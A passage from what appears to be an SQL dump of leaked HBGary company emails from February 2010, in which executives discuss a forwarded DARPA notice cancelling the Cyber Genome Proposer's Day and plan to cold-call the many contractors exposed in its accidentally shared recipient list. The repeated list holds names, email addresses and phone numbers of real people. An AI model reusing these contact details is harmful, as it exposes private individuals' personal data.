email.\r\n \r\n \r\nThank you and we apologize for any inconvenience,\r\n \r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',10774,'aaron_hbgary_com/10774.html'),(2261,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001029.M625958P3547Q2261.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Cyber Genome, WHO\'s WHO','Yeahas Greg stated... Oops From my iPhoneOn Feb 8, 2010, at 9:50 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nThis list has lots of gov&#39;t contractors for me to send emails to or track down their phone numbers to call them.  After all, these people have expressed interest in malware related topics.\r\n\r\n \r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.  Lol, didn&#39;t find mandiant anywhere on here, but there are alot of familier names...\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\n\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER&#39;S DAYTo: &quot;justin.hornberger@obsidiancyber.com&quot; &lt;justin.hornberger@obsidiancyber.com&gt;, &quot;vernon.joyner@qinetiq-na.com&quot; &lt;vernon.joyner@qinetiq-na.com&gt;, &quot;deborah.frincke@pnl.gov&quot; &lt;deborah.frincke@pnl.gov&gt;, &quot;jaime@semandex.net&quot; &lt;jaime@semandex.net&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;daniel.blitz@honeywell.com&quot; &lt;daniel.blitz@honeywell.com&gt;, &quot;shawn_ricketts@appsig.com&quot; &lt;shawn_ricketts@appsig.com&gt;, &quot;mfisk@lanl.gov&quot; &lt;mfisk@lanl.gov&gt;, &quot;skdao@hrl.com&quot; &lt;skdao@hrl.com&gt;, &quot;gholland@hrl.com&quot; &lt;gholland@hrl.com&gt;, &quot;gemami@globalinfotek.com&quot; &lt;gemami@globalinfotek.com&gt;, &quot;nigam@globalinfotek.com&quot; &lt;nigam@globalinfotek.com&gt;, &quot;mbanderson@teledyne.com&quot; &lt;mbanderson@teledyne.com&gt;, &quot;westby@globalcyberrisk.com&quot; &lt;westby@globalcyberrisk.com&gt;, &quot;bob@stratton.net&quot; &lt;bob@stratton.net&gt;, &quot;waa@cs.umd.edu&quot; &lt;waa@cs.umd.edu&gt;, &quot;brian.masterson@ngc.com&quot; &lt;brian.masterson@ngc.com&gt;, &quot;michael.witten@gtri.gatech.edu&quot; &lt;michael.witten@gtri.gatech.edu&gt;, &quot;dbailey@blackbirdtech.com&quot; &lt;dbailey@blackbirdtech.com&gt;, &quot;aiodice@blackbirdtech.com&quot; &lt;aiodice@blackbirdtech.com&gt;, &quot;jlowry@bbn.com&quot; &lt;jlowry@bbn.com&gt;, &quot;bfanelli@allencorporation.com&quot; &lt;bfanelli@allencorporation.com&gt;, &quot;vikram@i-a-i.com&quot; &lt;vikram@i-a-i.com&gt;, &quot;drankin@kadix.com&quot; &lt;drankin@kadix.com&gt;, &quot;bob@semandex.net&quot; &lt;bob@semandex.net&gt;, &quot;dean_a_gossett@raytheon.com&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;tmccabe@mccabe.com&quot; &lt;tmccabe@mccabe.com&gt;, &quot;demoney@sri.com&quot; &lt;demoney@sri.com&gt;, &quot;rob@netwitness.com&quot; &lt;rob@netwitness.com&gt;, &quot;jzhou@teledyne.com&quot; &lt;jzhou@teledyne.com&gt;, &quot;swarup@mitre.org&quot; &lt;swarup@mitre.org&gt;, &quot;brianneo@securedecisions.avi.com&quot; &lt;brianneo@securedecisions.avi.com&gt;, &quot;jnhq@yahoo.com&quot; &lt;jnhq@yahoo.com&gt;, &quot;valerie.guralnik@honeywell.com&quot; &lt;valerie.guralnik@honeywell.com&gt;, &quot;Andy.Thompson@jhuapl.edu&quot; &lt;Andy.Thompson@jhuapl.edu&gt;, &quot;mjunod@atl.lmco.com&quot; &lt;mjunod@atl.lmco.com&gt;, &quot;rishab.malhotra@saic.com&quot; &lt;rishab.malhotra@saic.com&gt;, &quot;bayj@ainfosec.com&quot; &lt;bayj@ainfosec.com&gt;, &quot;shamilton@distributedinfinity.com&quot; &lt;shamilton@distributedinfinity.com&gt;, &quot;aott@distributedinfinity.com&quot; &lt;aott@distributedinfinity.com&gt;, &quot;souvas@ainfosec.com&quot; &lt;souvas@ainfosec.com&gt;, &quot;Tom@tgoodwincom.com&quot; &lt;Tom@tgoodwincom.com&gt;, &quot;jgibbins@distributedinfinity.com&quot; &lt;jgibbins@distributedinfinity.com&gt;, &quot;jay.civitillO@sypris.com&quot; &lt;jay.civitillO@sypris.com&gt;, &quot;email@stefanoforesti.com&quot; &lt;email@stefanoforesti.com&gt;, &quot;matthew_elder@symantec.com&quot; &lt;matthew_elder@symantec.com&gt;, &quot;raj.rajagopalan@hp.com&quot; &lt;raj.rajagopalan@hp.com&gt;, &quot;troy.swinehart@sypris.com&quot; &lt;troy.swinehart@sypris.com&gt;, &quot;hal.aldridge@sypris.com&quot; &lt;hal.aldridge@sypris.com&gt;, &quot;gshannon@setcorp.com&quot; &lt;gshannon@setcorp.com&gt;, &quot;vijay@ciphersolutions.com&quot; &lt;vijay@ciphersolutions.com&gt;, &quot;george@roguegenius.com&quot; &lt;george@roguegenius.com&gt;, &quot;patrick.w.phillips@saic.com&quot; &lt;patrick.w.phillips@saic.com&gt;, &quot;richard.arnold@macb.com&quot; &lt;richard.arnold@macb.com&gt;, &quot;preston.werntz@dhs.gov&quot; &lt;preston.werntz@dhs.gov&gt;, &quot;dihrie@semandex.net&quot; &lt;dihrie@semandex.net&gt;, &quot;jason.upchurch@gd-ais.com&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;danstevenson@rti.org&quot; &lt;danstevenson@rti.org&gt;, &quot;michael.harbison@gd-ais.com&quot; &lt;michael.harbison@gd-ais.com&gt;, &quot;harold.Rodriguez@gd-asi.com&quot; &lt;harold.Rodriguez@gd-asi.com&gt;, &quot;mccusker@sonalysts.com&quot; &lt;mccusker@sonalysts.com&gt;, &quot;scottso@sonalysts.com&quot; &lt;scottso@sonalysts.com&gt;, &quot;marc.zbinden@nisc-llc.com&quot; &lt;marc.zbinden@nisc-llc.com&gt;, &quot;patrick@tripledex.com&quot; &lt;patrick@tripledex.com&gt;, &quot;ebasu@sentekglobal.com&quot; &lt;ebasu@sentekglobal.com&gt;, &quot;kevin.morrison@parsons.com&quot; &lt;kevin.morrison@parsons.com&gt;, &quot;ltinnel@globalinfotek.com&quot; &lt;ltinnel@globalinfotek.com&gt;, &quot;rick.mcgeer@hp.com&quot; &lt;rick.mcgeer@hp.com&gt;, &quot;stephen.barish@macb.com&quot; &lt;stephen.barish@macb.com&gt;, &quot;patrick.crago@nisc-llc.com&quot; &lt;patrick.crago@nisc-llc.com&gt;, &quot;dxu@cs.purdue.edu&quot; &lt;dxu@cs.purdue.edu&gt;, &quot;dave_m_gursky@raytheon.com&quot; &lt;dave_m_gursky@raytheon.com&gt;, &quot;guttman@us.ibm.com&quot; &lt;guttman@us.ibm.com&gt;, &quot;toweissy@vt.edu&quot; &lt;toweissy@vt.edu&gt;, &quot;ccramer@siginnovations.com&quot; &lt;ccramer@siginnovations.com&gt;, &quot;lkennedy@siginnovations.com&quot; &lt;lkennedy@siginnovations.com&gt;, &quot;lbengfort@cengen.com&quot; &lt;lbengfort@cengen.com&gt;, &quot;lkain@cra.com&quot; &lt;lkain@cra.com&gt;, &quot;aghosh1@gmu.edu&quot; &lt;aghosh1@gmu.edu&gt;, &quot;joshua.davis@gtri.gatech.edu&quot; &lt;joshua.davis@gtri.gatech.edu&gt;, &quot;zmitchell@logostech.net&quot; &lt;zmitchell@logostech.net&gt;, &quot;j@appranger.com&quot; &lt;j@appranger.com&gt;, &quot;kane@referentia.com&quot; &lt;kane@referentia.com&gt;, &quot;jsmith@referentia.com&quot; &lt;jsmith@referentia.com&gt;, &quot;twilliams@referentia.com&quot; &lt;twilliams@referentia.com&gt;, &quot;dchang@referentia.com&quot; &lt;dchang@referentia.com&gt;, &quot;kphillips@overwatch.textron.com&quot; &lt;kphillips@overwatch.textron.com&gt;, &quot;sdynes@dartmouth.edu&quot; &lt;sdynes@dartmouth.edu&gt;, &quot;michael.collins@redjack.com&quot; &lt;michael.collins@redjack.com&gt;, &quot;greg.virgin@redjack.com&quot; &lt;greg.virgin@redjack.com&gt;, &quot;john.mchugh@redjack.com&quot; &lt;john.mchugh@redjack.com&gt;, &quot;jeff.janies@redjack.com&quot; &lt;jeff.janies@redjack.com&gt;, &quot;sang.chin@jhuapl.edu&quot; &lt;sang.chin@jhuapl.edu&gt;, &quot;paul.b.jaynes@raytheon.com&quot; &lt;paul.b.jaynes@raytheon.com&gt;, &quot;rlinge@sei.cmu.edu&quot; &lt;rlinge@sei.cmu.edu&gt;, &quot;soswald@sigovs.com&quot; &lt;soswald@sigovs.com&gt;, &quot;kppande@msn.com&quot; &lt;kppande@msn.com&gt;, &quot;steve@atc-nycorp.com&quot; &lt;steve@atc-nycorp.com&gt;, &quot;hinoue@atc-nycorp.com&quot; &lt;hinoue@atc-nycorp.com&gt;, &quot;jadavis4@rockwellcollins.com&quot; &lt;jadavis4@rockwellcollins.com&gt;, &quot;tburgess@securedsciences.com&quot; &lt;tburgess@securedsciences.com&gt;, &quot;jeehye@securedsciences.com&quot; &lt;jeehye@securedsciences.com&gt;, &quot;walczak@avi.com&quot; &lt;walczak@avi.com&gt;, &quot;caguerreri@gmail.com&quot; &lt;caguerreri@gmail.com&gt;, &quot;raj.kant@baesystems.com&quot; &lt;raj.kant@baesystems.com&gt;, &quot;rlevy@i-a-i.com&quot; &lt;rlevy@i-a-i.com&gt;, &quot;ONeillDon@aol.com&quot; &lt;ONeillDon@aol.com&gt;, &quot;Rod.Tjoelker@Boeing.com&quot; &lt;Rod.Tjoelker@boeing.com&gt;, &quot;dmatsunaga@referentia.com&quot; &lt;dmatsunaga@referentia.com&gt;, &quot;gratson@research.ge.com&quot; &lt;gratson@research.ge.com&gt;, &quot;matarazzo1@llnl.gov&quot; &lt;matarazzo1@llnl.gov&gt;, &quot;christian.espinosa@eads-na-security.com&quot; &lt;christian.espinosa@eads-na-security.com&gt;, &quot;geaton@milcord.com&quot; &lt;geaton@milcord.com&gt;, &quot;tom@mccabetech.com&quot; &lt;tom@mccabetech.com&gt;, &quot;pc@mitre.org&quot; &lt;pc@mitre.org&gt;, &quot;michael.zeberlein@harris.com&quot; &lt;michael.zeberlein@harris.com&gt;, &quot;sbarnum@cigital.com&quot; &lt;sbarnum@cigital.com&gt;, &quot;evans@ge.com&quot; &lt;evans@ge.com&gt;, &quot;judith.c.spering@boeing.com&quot; &lt;judith.c.spering@boeing.com&gt;, &quot;philippe.byrnes@ddefend.com&quot; &lt;philippe.byrnes@ddefend.com&gt;, &quot;adinaburg@sigovs.cm&quot; &lt;adinaburg@sigovs.cm&gt;, &quot;christopher.jones@harris.com&quot; &lt;christopher.jones@harris.com&gt;, &quot;kvanbure@harris.com&quot; &lt;kvanbure@harris.com&gt;, &quot;fpound@sigovs.com&quot; &lt;fpound@sigovs.com&gt;, &quot;roelker@gmail.com&quot; &lt;roelker@gmail.com&gt;, &quot;pwilson@securedsciences.com&quot; &lt;pwilson@securedsciences.com&gt;, &quot;adahnert@overwatch.textron.com&quot; &lt;adahnert@overwatch.textron.com&gt;, &quot;Brian.Masterson@ngc.com&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;irby@pikewerks.com&quot; &lt;irby@pikewerks.com&gt;, &quot;melski@grammatech.com&quot; &lt;melski@grammatech.com&gt;\r\n\r\n\r\n\r\n\r\nAll,\r\n \r\nDue to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.  There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n\r\n \r\nPlease confirm receipt of this message by replying to this email.\r\n \r\n \r\nThank you and we apologize for any inconvenience,\r\n \r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n',15525,'aaron_hbgary_com/15525.html'),(2262,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001029.M838500P3547Q2262.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Cyber Genome, WHO\'s WHO','This will definately slip the proposal deadline date. &nbsp;Won\'t slip the award date any since Van Putte said the money has to be allocated by July 1st.AaronOn Feb 8, 2010, at 9:50 PM, Bob Slapnik wrote:This list has lots of gov\'t contractors for me to send emails to or track down their phone numbers&nbsp;to call them.&nbsp; After all, these people have expressed interest in malware related topics.\r\n&nbsp;\r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.&nbsp; Lol, didn\'t find mandiant anywhere on here, but there are alot of familier names...\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAYTo: \"justin.hornberger@obsidiancyber.com\" &lt;justin.hornberger@obsidiancyber.com&gt;, \"vernon.joyner@qinetiq-na.com\" &lt;vernon.joyner@qinetiq-na.com&gt;, \"deborah.frincke@pnl.gov\" &lt;deborah.frincke@pnl.gov&gt;, \"jaime@semandex.net\" &lt;jaime@semandex.net&gt;, \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"rich@hbgary.com\" &lt;rich@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"daniel.blitz@honeywell.com\" &lt;daniel.blitz@honeywell.com&gt;, \"shawn_ricketts@appsig.com\" &lt;shawn_ricketts@appsig.com&gt;, \"mfisk@lanl.gov\" &lt;mfisk@lanl.gov&gt;, \"skdao@hrl.com\" &lt;skdao@hrl.com&gt;, \"gholland@hrl.com\" &lt;gholland@hrl.com&gt;, \"gemami@globalinfotek.com\" &lt;gemami@globalinfotek.com&gt;, \"nigam@globalinfotek.com\" &lt;nigam@globalinfotek.com&gt;, \"mbanderson@teledyne.com\" &lt;mbanderson@teledyne.com&gt;, \"westby@globalcyberrisk.com\" &lt;westby@globalcyberrisk.com&gt;, \"bob@stratton.net\" &lt;bob@stratton.net&gt;, \"waa@cs.umd.edu\" &lt;waa@cs.umd.edu&gt;, \"brian.masterson@ngc.com\" &lt;brian.masterson@ngc.com&gt;, \"michael.witten@gtri.gatech.edu\" &lt;michael.witten@gtri.gatech.edu&gt;, \"dbailey@blackbirdtech.com\" &lt;dbailey@blackbirdtech.com&gt;, \"aiodice@blackbirdtech.com\" &lt;aiodice@blackbirdtech.com&gt;, \"jlowry@bbn.com\" &lt;jlowry@bbn.com&gt;, \"bfanelli@allencorporation.com\" &lt;bfanelli@allencorporation.com&gt;, \"vikram@i-a-i.com\" &lt;vikram@i-a-i.com&gt;, \"drankin@kadix.com\" &lt;drankin@kadix.com&gt;, \"bob@semandex.net\" &lt;bob@semandex.net&gt;, \"dean_a_gossett@raytheon.com\" &lt;dean_a_gossett@raytheon.com&gt;, \"tmccabe@mccabe.com\" &lt;tmccabe@mccabe.com&gt;, \"demoney@sri.com\" &lt;demoney@sri.com&gt;, \"rob@netwitness.com\" &lt;rob@netwitness.com&gt;, \"jzhou@teledyne.com\" &lt;jzhou@teledyne.com&gt;, \"swarup@mitre.org\" &lt;swarup@mitre.org&gt;, \"brianneo@securedecisions.avi.com\" &lt;brianneo@securedecisions.avi.com&gt;, \"jnhq@yahoo.com\" &lt;jnhq@yahoo.com&gt;, \"valerie.guralnik@honeywell.com\" &lt;valerie.guralnik@honeywell.com&gt;, \"Andy.Thompson@jhuapl.edu\" &lt;Andy.Thompson@jhuapl.edu&gt;, \"mjunod@atl.lmco.com\" &lt;mjunod@atl.lmco.com&gt;, \"rishab.malhotra@saic.com\" &lt;rishab.malhotra@saic.com&gt;, \"bayj@ainfosec.com\" &lt;bayj@ainfosec.com&gt;, \"shamilton@distributedinfinity.com\" &lt;shamilton@distributedinfinity.com&gt;, \"aott@distributedinfinity.com\" &lt;aott@distributedinfinity.com&gt;, \"souvas@ainfosec.com\" &lt;souvas@ainfosec.com&gt;, \"Tom@tgoodwincom.com\" &lt;Tom@tgoodwincom.com&gt;, \"jgibbins@distributedinfinity.com\" &lt;jgibbins@distributedinfinity.com&gt;, \"jay.civitillO@sypris.com\" &lt;jay.civitillO@sypris.com&gt;, \"email@stefanoforesti.com\" &lt;email@stefanoforesti.com&gt;, \"matthew_elder@symantec.com\" &lt;matthew_elder@symantec.com&gt;, \"raj.rajagopalan@hp.com\" &lt;raj.rajagopalan@hp.com&gt;, \"troy.swinehart@sypris.com\" &lt;troy.swinehart@sypris.com&gt;, \"hal.aldridge@sypris.com\" &lt;hal.aldridge@sypris.com&gt;, \"gshannon@setcorp.com\" &lt;gshannon@setcorp.com&gt;, \"vijay@ciphersolutions.com\" &lt;vijay@ciphersolutions.com&gt;, \"george@roguegenius.com\" &lt;george@roguegenius.com&gt;, \"patrick.w.phillips@saic.com\" &lt;patrick.w.phillips@saic.com&gt;, \"richard.arnold@macb.com\" &lt;richard.arnold@macb.com&gt;, \"preston.werntz@dhs.gov\" &lt;preston.werntz@dhs.gov&gt;, \"dihrie@semandex.net\" &lt;dihrie@semandex.net&gt;, \"jason.upchurch@gd-ais.com\" &lt;jason.upchurch@gd-ais.com&gt;, \"danstevenson@rti.org\" &lt;danstevenson@rti.org&gt;, \"michael.harbison@gd-ais.com\" &lt;michael.harbison@gd-ais.com&gt;, \"harold.Rodriguez@gd-asi.com\" &lt;harold.Rodriguez@gd-asi.com&gt;, \"mccusker@sonalysts.com\" &lt;mccusker@sonalysts.com&gt;, \"scottso@sonalysts.com\" &lt;scottso@sonalysts.com&gt;, \"marc.zbinden@nisc-llc.com\" &lt;marc.zbinden@nisc-llc.com&gt;, \"patrick@tripledex.com\" &lt;patrick@tripledex.com&gt;, \"ebasu@sentekglobal.com\" &lt;ebasu@sentekglobal.com&gt;, \"kevin.morrison@parsons.com\" &lt;kevin.morrison@parsons.com&gt;, \"ltinnel@globalinfotek.com\" &lt;ltinnel@globalinfotek.com&gt;, \"rick.mcgeer@hp.com\" &lt;rick.mcgeer@hp.com&gt;, \"stephen.barish@macb.com\" &lt;stephen.barish@macb.com&gt;, \"patrick.crago@nisc-llc.com\" &lt;patrick.crago@nisc-llc.com&gt;, \"dxu@cs.purdue.edu\" &lt;dxu@cs.purdue.edu&gt;, \"dave_m_gursky@raytheon.com\" &lt;dave_m_gursky@raytheon.com&gt;, \"guttman@us.ibm.com\" &lt;guttman@us.ibm.com&gt;, \"toweissy@vt.edu\" &lt;toweissy@vt.edu&gt;, \"ccramer@siginnovations.com\" &lt;ccramer@siginnovations.com&gt;, \"lkennedy@siginnovations.com\" &lt;lkennedy@siginnovations.com&gt;, \"lbengfort@cengen.com\" &lt;lbengfort@cengen.com&gt;, \"lkain@cra.com\" &lt;lkain@cra.com&gt;, \"aghosh1@gmu.edu\" &lt;aghosh1@gmu.edu&gt;, \"joshua.davis@gtri.gatech.edu\" &lt;joshua.davis@gtri.gatech.edu&gt;, \"zmitchell@logostech.net\" &lt;zmitchell@logostech.net&gt;, \"j@appranger.com\" &lt;j@appranger.com&gt;, \"kane@referentia.com\" &lt;kane@referentia.com&gt;, \"jsmith@referentia.com\" &lt;jsmith@referentia.com&gt;, \"twilliams@referentia.com\" &lt;twilliams@referentia.com&gt;, \"dchang@referentia.com\" &lt;dchang@referentia.com&gt;, \"kphillips@overwatch.textron.com\" &lt;kphillips@overwatch.textron.com&gt;, \"sdynes@dartmouth.edu\" &lt;sdynes@dartmouth.edu&gt;, \"michael.collins@redjack.com\" &lt;michael.collins@redjack.com&gt;, \"greg.virgin@redjack.com\" &lt;greg.virgin@redjack.com&gt;, \"john.mchugh@redjack.com\" &lt;john.mchugh@redjack.com&gt;, \"jeff.janies@redjack.com\" &lt;jeff.janies@redjack.com&gt;, \"sang.chin@jhuapl.edu\" &lt;sang.chin@jhuapl.edu&gt;, \"paul.b.jaynes@raytheon.com\" &lt;paul.b.jaynes@raytheon.com&gt;, \"rlinge@sei.cmu.edu\" &lt;rlinge@sei.cmu.edu&gt;, \"soswald@sigovs.com\" &lt;soswald@sigovs.com&gt;, \"kppande@msn.com\" &lt;kppande@msn.com&gt;, \"steve@atc-nycorp.com\" &lt;steve@atc-nycorp.com&gt;, \"hinoue@atc-nycorp.com\" &lt;hinoue@atc-nycorp.com&gt;, \"jadavis4@rockwellcollins.com\" &lt;jadavis4@rockwellcollins.com&gt;, \"tburgess@securedsciences.com\" &lt;tburgess@securedsciences.com&gt;, \"jeehye@securedsciences.com\" &lt;jeehye@securedsciences.com&gt;, \"walczak@avi.com\" &lt;walczak@avi.com&gt;, \"caguerreri@gmail.com\" &lt;caguerreri@gmail.com&gt;, \"raj.kant@baesystems.com\" &lt;raj.kant@baesystems.com&gt;, \"rlevy@i-a-i.com\" &lt;rlevy@i-a-i.com&gt;, \"ONeillDon@aol.com\" &lt;ONeillDon@aol.com&gt;, \"Rod.Tjoelker@Boeing.com\" &lt;Rod.Tjoelker@boeing.com&gt;, \"dmatsunaga@referentia.com\" &lt;dmatsunaga@referentia.com&gt;, \"gratson@research.ge.com\" &lt;gratson@research.ge.com&gt;, \"matarazzo1@llnl.gov\" &lt;matarazzo1@llnl.gov&gt;, \"christian.espinosa@eads-na-security.com\" &lt;christian.espinosa@eads-na-security.com&gt;, \"geaton@milcord.com\" &lt;geaton@milcord.com&gt;, \"tom@mccabetech.com\" &lt;tom@mccabetech.com&gt;, \"pc@mitre.org\" &lt;pc@mitre.org&gt;, \"michael.zeberlein@harris.com\" &lt;michael.zeberlein@harris.com&gt;, \"sbarnum@cigital.com\" &lt;sbarnum@cigital.com&gt;, \"evans@ge.com\" &lt;evans@ge.com&gt;, \"judith.c.spering@boeing.com\" &lt;judith.c.spering@boeing.com&gt;, \"philippe.byrnes@ddefend.com\" &lt;philippe.byrnes@ddefend.com&gt;, \"adinaburg@sigovs.cm\" &lt;adinaburg@sigovs.cm&gt;, \"christopher.jones@harris.com\" &lt;christopher.jones@harris.com&gt;, \"kvanbure@harris.com\" &lt;kvanbure@harris.com&gt;, \"fpound@sigovs.com\" &lt;fpound@sigovs.com&gt;, \"roelker@gmail.com\" &lt;roelker@gmail.com&gt;, \"pwilson@securedsciences.com\" &lt;pwilson@securedsciences.com&gt;, \"adahnert@overwatch.textron.com\" &lt;adahnert@overwatch.textron.com&gt;, \"Brian.Masterson@ngc.com\" &lt;Brian.Masterson@ngc.com&gt;, \"irby@pikewerks.com\" &lt;irby@pikewerks.com&gt;, \"melski@grammatech.com\" &lt;melski@grammatech.com&gt;\r\n\r\n\r\nAll,&nbsp;Due to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.&nbsp; We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.&nbsp; There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.&nbsp;Please confirm receipt of this message by replying to this email.&nbsp;&nbsp;Thank you and we apologize for any inconvenience,&nbsp;Renee MooreSETADARPA/STOrenee.moore.ctr@darpa.mil703-351-9284&nbsp;-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9184,'aaron_hbgary_com/9184.html'),(2263,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001030.M13920P3547Q2263.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Cyber Genome, WHO\'s WHO','So based on this list a few questions.1. Is there anyone on the list that stands out as good team mates, even the smalls. &nbsp;Someone that brings thought leadership to the digital artifact problem.2. Why didn\'t folks that know us that are on the list call us? &nbsp;Mr. Don Bailey.On Feb 8, 2010, at 9:50 PM, Bob Slapnik wrote:This list has lots of gov\'t contractors for me to send emails to or track down their phone numbers&nbsp;to call them.&nbsp; After all, these people have expressed interest in malware related topics.\r\n&nbsp;\r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.&nbsp; Lol, didn\'t find mandiant anywhere on here, but there are alot of familier names...\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAYTo: \"justin.hornberger@obsidiancyber.com\" &lt;justin.hornberger@obsidiancyber.com&gt;, \"vernon.joyner@qinetiq-na.com\" &lt;vernon.joyner@qinetiq-na.com&gt;, \"deborah.frincke@pnl.gov\" &lt;deborah.frincke@pnl.gov&gt;, \"jaime@semandex.net\" &lt;jaime@semandex.net&gt;, \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"rich@hbgary.com\" &lt;rich@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"daniel.blitz@honeywell.com\" &lt;daniel.blitz@honeywell.com&gt;, \"shawn_ricketts@appsig.com\" &lt;shawn_ricketts@appsig.com&gt;, \"mfisk@lanl.gov\" &lt;mfisk@lanl.gov&gt;, \"skdao@hrl.com\" &lt;skdao@hrl.com&gt;, \"gholland@hrl.com\" &lt;gholland@hrl.com&gt;, \"gemami@globalinfotek.com\" &lt;gemami@globalinfotek.com&gt;, \"nigam@globalinfotek.com\" &lt;nigam@globalinfotek.com&gt;, \"mbanderson@teledyne.com\" &lt;mbanderson@teledyne.com&gt;, \"westby@globalcyberrisk.com\" &lt;westby@globalcyberrisk.com&gt;, \"bob@stratton.net\" &lt;bob@stratton.net&gt;, \"waa@cs.umd.edu\" &lt;waa@cs.umd.edu&gt;, \"brian.masterson@ngc.com\" &lt;brian.masterson@ngc.com&gt;, \"michael.witten@gtri.gatech.edu\" &lt;michael.witten@gtri.gatech.edu&gt;, \"dbailey@blackbirdtech.com\" &lt;dbailey@blackbirdtech.com&gt;, \"aiodice@blackbirdtech.com\" &lt;aiodice@blackbirdtech.com&gt;, \"jlowry@bbn.com\" &lt;jlowry@bbn.com&gt;, \"bfanelli@allencorporation.com\" &lt;bfanelli@allencorporation.com&gt;, \"vikram@i-a-i.com\" &lt;vikram@i-a-i.com&gt;, \"drankin@kadix.com\" &lt;drankin@kadix.com&gt;, \"bob@semandex.net\" &lt;bob@semandex.net&gt;, \"dean_a_gossett@raytheon.com\" &lt;dean_a_gossett@raytheon.com&gt;, \"tmccabe@mccabe.com\" &lt;tmccabe@mccabe.com&gt;, \"demoney@sri.com\" &lt;demoney@sri.com&gt;, \"rob@netwitness.com\" &lt;rob@netwitness.com&gt;, \"jzhou@teledyne.com\" &lt;jzhou@teledyne.com&gt;, \"swarup@mitre.org\" &lt;swarup@mitre.org&gt;, \"brianneo@securedecisions.avi.com\" &lt;brianneo@securedecisions.avi.com&gt;, \"jnhq@yahoo.com\" &lt;jnhq@yahoo.com&gt;, \"valerie.guralnik@honeywell.com\" &lt;valerie.guralnik@honeywell.com&gt;, \"Andy.Thompson@jhuapl.edu\" &lt;Andy.Thompson@jhuapl.edu&gt;, \"mjunod@atl.lmco.com\" &lt;mjunod@atl.lmco.com&gt;, \"rishab.malhotra@saic.com\" &lt;rishab.malhotra@saic.com&gt;, \"bayj@ainfosec.com\" &lt;bayj@ainfosec.com&gt;, \"shamilton@distributedinfinity.com\" &lt;shamilton@distributedinfinity.com&gt;, \"aott@distributedinfinity.com\" &lt;aott@distributedinfinity.com&gt;, \"souvas@ainfosec.com\" &lt;souvas@ainfosec.com&gt;, \"Tom@tgoodwincom.com\" &lt;Tom@tgoodwincom.com&gt;, \"jgibbins@distributedinfinity.com\" &lt;jgibbins@distributedinfinity.com&gt;, \"jay.civitillO@sypris.com\" &lt;jay.civitillO@sypris.com&gt;, \"email@stefanoforesti.com\" &lt;email@stefanoforesti.com&gt;, \"matthew_elder@symantec.com\" &lt;matthew_elder@symantec.com&gt;, \"raj.rajagopalan@hp.com\" &lt;raj.rajagopalan@hp.com&gt;, \"troy.swinehart@sypris.com\" &lt;troy.swinehart@sypris.com&gt;, \"hal.aldridge@sypris.com\" 